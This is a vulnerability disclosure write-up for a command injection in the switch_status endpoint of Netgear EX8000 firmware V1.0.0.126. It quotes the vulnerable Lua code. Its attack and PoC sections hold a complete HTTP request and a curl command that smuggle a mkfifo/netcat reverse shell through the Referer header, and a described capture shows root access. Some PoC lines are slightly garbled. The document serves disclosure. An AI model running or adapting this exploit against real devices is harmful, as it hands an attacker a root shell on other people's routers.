

# Netgear EX8000 V1.0.0.126 switch\_status Command Injection Vulnerability

## Product Information

```
1 Brand: Netgear
2 Model: EX8000
3 Firmware Version: V1.0.0.126
4 Official website: https://www.netgear.com/
5 Firmware Download URL:
  https://www.downloads.netgear.com/files/GDC/EX8000/EX8000-V1.0.0.126.zip
```

## Affected Component

```
1 The `switches` parameter in the `switch_status` function within the file:
2 \usr\lib\lua\luci\controller\admin\network.lua
```

## Suggested description

Netgear EX8000 V1.0.0.126 was discovered to contain a command injection vulnerability via the switch\_status function.

## Vulnerability Details

In the file `\usr\lib\lua\luci\controller\admin\network.lua`, an API endpoint is defined at `admin/network/switch_status`, which triggers the `switch_status` function. This function is vulnerable to **command injection** due to insufficient sanitization of the `switches` parameter.

The parameter "switches" is passed to the "switch\_status" function in `luci.tools.status`. Due to the mere use of `%q` for filtering without restricting special characters such as `$`, a vulnerability is caused, enabling the acquisition of a shell and the execution of arbitrary commands.

```
18     local has_switch = false
19
20     uci:foreach("network", "switch",
21         function(s)
22             has_switch = true
23             return false
24         end)
25
26     if has_switch then
27         page = node("admin", "network", "vlan")
28         page.target = cbi("admin_network/vlan")
29         page.title = _("Switch")
30         page.order = 20
31
32         page = entry({"admin", "network", "switch_status"}, call("switch_status"))
33         page.leaf = true
34     end
```

```

408 function switch_status switches
409     local s = require "luci.tools.status"
410
411     luci.http.prepare_content("application/json")
412     luci.http.write_json(s.switch_status(switches))
413 end

```

```

182 function switch_status devs
183     local dev
184     local switches = { }
185     for dev in devs:gmatch("[^%s,]+") do
186         local ports = { }
187         local swc = io.popen("swconfig dev %q show" % dev, "r")
188         if swc then

```

## Attack

As shown in the following figure, when injecting the command `$(eval`IFS=$HTTP_REFERER`)` into the parameters. At the same time, fill the Referer field with the following content: `mkfifo /tmp/p; cat /tmp/p | /bin/sh -i 2>&1 | nc 192.168.31.166 9001 >/tmp/p`. Then, you can obtain the underlying shell of the router and achieve the execution of arbitrary commands.

The image displays a network traffic capture and a terminal session. On the left, a Wireshark packet capture shows an HTTP GET request to `/cgi-bin/luci/stok=f461d779ab1a3358cc8b3f7e6a7e831f/admin/network/switch_status/%60$(eval`IFS=$HTTP_REFERER`)%60`. The Referer field is highlighted and contains the command: `mkfifo /tmp/p; cat /tmp/p | /bin/sh -i 2>&1 | nc 192.168.31.166 9001 >/tmp/p`. On the right, a terminal window shows a listener on port 9001. It receives a connection from `[192.168.31.239]`. The user runs `id`, showing they are `uid=0(root) gid=0(root)`. The user then runs `ifconfig`, showing network interface details for `ath0` and `ath1`.

## POC

```
1 GET /cgi-  
  bin/luci/;stok=f461d779ab1a3358cc8b3f7e6a7e831f/admin/network/switch_status/  
  %60$(eval$IFS$HTTP_REFERER)%60 HTTP/1.1  
2 Host: 192.168.31.239  
3 Authorization: Basic MTC5ODQ0MjQ3MkBxcS5jb206MTIzNDU2Nzg=  
4 Accept-Language: en-US  
5 Upgrade-Insecure-Requests: 1  
6 User-Agent: Mozilla/5.0 (Windows NT 10.0; win64; x64) AppleWebKit/537.36  
  (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36  
7 Accept:  
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,  
  image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
8 Referer: mkfifo /tmp/p;cat /tmp/pl/bin/sh -i 2>&1|nc 192.168.31.166 9001  
  >/tmp/p  
9 Accept-Encoding: gzip, deflate, br  
10 Cookie: sysauth=3980878533b1452707136d27cae2bfa8; sessionEnable=1;  
  dsessid=28886855  
11 Connection: keep-alive
```

```
1 curl --path-as-is -i -s -k -X 'GET' \  
2   -H 'Host: 192.168.31.239' -H 'Authorization: Basic  
  MTC5ODQ0MjQ3MkBxcS5jb206MTIzNDU2Nzg=' -H 'Accept-Language: en-US' -H  
  '$Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (Windows NT  
  10.0; win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)  
  Chrome/126.0.6478.127 Safari/537.36' -H 'Accept:  
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,i  
  mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H 'Referer:  
  mkfifo /tmp/p;cat /tmp/pl/bin/sh -i 2>&1|nc 192.168.31.166 9001 >/tmp/p' -H  
  '$Accept-Encoding: gzip, deflate, br' -H 'Connection: keep-alive' \  
3   -b '$sysauth=3980878533b1452707136d27cae2bfa8; sessionEnable=1;  
  dsessid=28886855' \  
4   '$http://192.168.31.239/cgi-  
  bin/luci/;stok=f461d779ab1a3358cc8b3f7e6a7e831f/admin/network/switch_status/%  
  60$(eval$IFS$HTTP_REFERER)%60'
```

## Video

[https://github.com/JZP018/vuln03/blob/main/netgear/EX8000/netgear\\_EX8000\\_CI\\_switch\\_status.mp4](https://github.com/JZP018/vuln03/blob/main/netgear/EX8000/netgear_EX8000_CI_switch_status.mp4)